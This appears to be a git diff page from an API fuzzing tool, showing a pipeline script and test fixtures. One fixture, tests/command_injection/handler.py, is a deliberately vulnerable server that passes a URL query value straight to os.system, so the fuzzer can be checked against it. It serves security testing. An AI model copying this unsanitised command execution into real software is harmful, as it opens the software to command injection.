PIP3_BIN=pip3
|
||||
PYTHON3_BIN=python3
|
||||
DOTNET_BIN=dotnet
|
||||
JAVA=java
|
||||
DOCKER=docker
|
||||
|
||||
# Define paths inside directory
|
||||
JUNIT_TEST_REPORT_FILENAME=reports.junit.xml
|
||||
HTML_TEST_REPORT_FILENAME=reports.html
|
||||
|
||||
PARSER_FOLDER=./parser/OpenApiParserCLI/
|
||||
API_REQUESTS_JSON=./parser/api.json
|
||||
JUNIT_TEST_REPORT="./reporter/$JUNIT_TEST_REPORT_FILENAME"
|
||||
HTML_TEST_REPORT="./reporter/$HTML_TEST_REPORT_FILENAME"
|
||||
FUZZER_LOG=fuzzing.log
|
||||
XUNIT2HTML_XSL=./reporter/xunit_to_html.xsl
|
||||
SAXON9HE=./reporter/saxon9he.jar
|
||||
|
||||
# If there is mounted Docker directory, write output files into it
|
||||
if [ -d "mnt/" ]; then
|
||||
echo "Founded mounted Docker directory, you can find WFuzz artifacts in your working directory."
|
||||
FUZZER_LOG="./mnt/$FUZZER_LOG"
|
||||
JUNIT_TEST_REPORT="./mnt/$JUNIT_TEST_REPORT_FILENAME"
|
||||
HTML_TEST_REPORT="./mnt/$HTML_TEST_REPORT_FILENAME"
|
||||
fi
|
||||
|
||||
# Define docker images tags
|
||||
REPORTER_IMAGE_TAG=wfuzz:reporter
|
||||
|
||||
# Pilenine execution
|
||||
echo "Started parsing"
|
||||
${DOTNET_BIN} run -p ${PARSER_FOLDER} ${OPENAPI_DOCUMENTATION} ${API_REQUESTS_JSON} || { echo 'Parsing of documentation failed! Fuzzing will not be started.' ; exit 1; }
|
||||
echo "Parsing finished"
|
||||
|
||||
echo "Installing virtualenv and dependencies for fuzzer"
|
||||
${PIP3_BIN} install virtualenv
|
||||
${PYTHON3_BIN} -m virtualenv env
|
||||
echo "Started fuzzing"
|
||||
. ./env/bin/activate ; \
|
||||
pip install --upgrade pip ; pip install git+https://github.com/jtpereyda/boofuzz.git ; pip install junit-xml ; \
|
||||
python fuzzer/src/wfuzz.py ${WFUZZ_CONFIG} ${API_REQUESTS_JSON} ${JUNIT_TEST_REPORT} ${CUSTOM_PAYLOADS_FILE} > ${FUZZER_LOG} || { echo 'Fuzzing failed. HTML report will not be produced.' ; exit 1; } ; deactivate
|
||||
echo "Fuzzing finished"
|
||||
|
||||
echo "Starting generating HTML test report"
|
||||
if type "$JAVA" > /dev/null; then
|
||||
${JAVA} -jar ${SAXON9HE} -o:${HTML_TEST_REPORT} -s:${JUNIT_TEST_REPORT} -xsl:${XUNIT2HTML_XSL} || { echo 'HTML test report via installed Java binary cannot be produced. There was an error during parsing JUnit input file.' ; exit 1; }
|
||||
elif type "$DOCKER" > /dev/null; then
|
||||
${DOCKER} build reporter -t ${REPORTER_IMAGE_TAG} || { echo 'HTML test report cannot be produced. Docker cannot build image.' ; exit 1; }
|
||||
${DOCKER} run ${REPORTER_IMAGE_TAG} > ${HTML_TEST_REPORT} || { echo 'HTML test report cannot be produced. Docker run failed.' ; exit 1; }
|
||||
else
|
||||
echo 'HTML test report cannot be produced. Missing JRE or Docker binary. Need to provide at least one of them. You can specify their binary paths in the beggining of this script.'
|
||||
exit 1
|
||||
fi
|
||||
echo "Ending generating HTML test report"
|
||||
25
tests/command_injection/handler.py
Normal file
25
tests/command_injection/handler.py
Normal file
@@ -0,0 +1,25 @@
|
||||
import os
|
||||
import urllib.parse
|
||||
from http.server import BaseHTTPRequestHandler
|
||||
|
||||
class RequestHandler(BaseHTTPRequestHandler):
|
||||
def _set_headers(self):
|
||||
self.send_response(200)
|
||||
self.send_header('Content-type', 'plain/text')
|
||||
self.end_headers()
|
||||
|
||||
def do_GET(self):
|
||||
self._get_path_parameters()
|
||||
self._set_headers()
|
||||
self.wfile.write(b'OK')
|
||||
|
||||
def _get_path_parameters(self):
|
||||
path = urllib.parse.unquote(self.path)[len("/pets?attributeName="):]
|
||||
if path.startswith("sleep "):
|
||||
self._try_to_execute_command(path)
|
||||
|
||||
def _try_to_execute_command(self, path):
|
||||
os.system(path)
|
||||
|
||||
def send_error(self, code, message=None, explain=None):
|
||||
pass
|
||||
2
tests/command_injection/test.sh
Normal file
2
tests/command_injection/test.sh
Normal file
@@ -0,0 +1,2 @@
|
||||
./fuzz_and_grep_logs.sh "$(dirname "${BASH_SOURCE[0]}")" "Timeout or closed connection"
|
||||
exit $?
|
||||
14
tests/detect_internal_server_error/handler.py
Normal file
14
tests/detect_internal_server_error/handler.py
Normal file
@@ -0,0 +1,14 @@
|
||||
from http.server import BaseHTTPRequestHandler
|
||||
|
||||
class RequestHandler(BaseHTTPRequestHandler):
|
||||
def _set_headers(self):
|
||||
self.send_response(500)
|
||||
self.send_header('Content-type', 'text/plain')
|
||||
self.end_headers()
|
||||
|
||||
def do_GET(self):
|
||||
self._set_headers()
|
||||
self.wfile.write(b'Internal server error')
|
||||
|
||||
def send_error(self, code, message=None, explain=None):
|
||||
pass
|
||||
2
tests/detect_internal_server_error/test.sh
Normal file
2
tests/detect_internal_server_error/test.sh
Normal file
@@ -0,0 +1,2 @@
|
||||
./fuzz_and_grep_logs.sh "$(dirname "${BASH_SOURCE[0]}")" "Status code higher or equal than 500!"
|
||||
exit $?
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user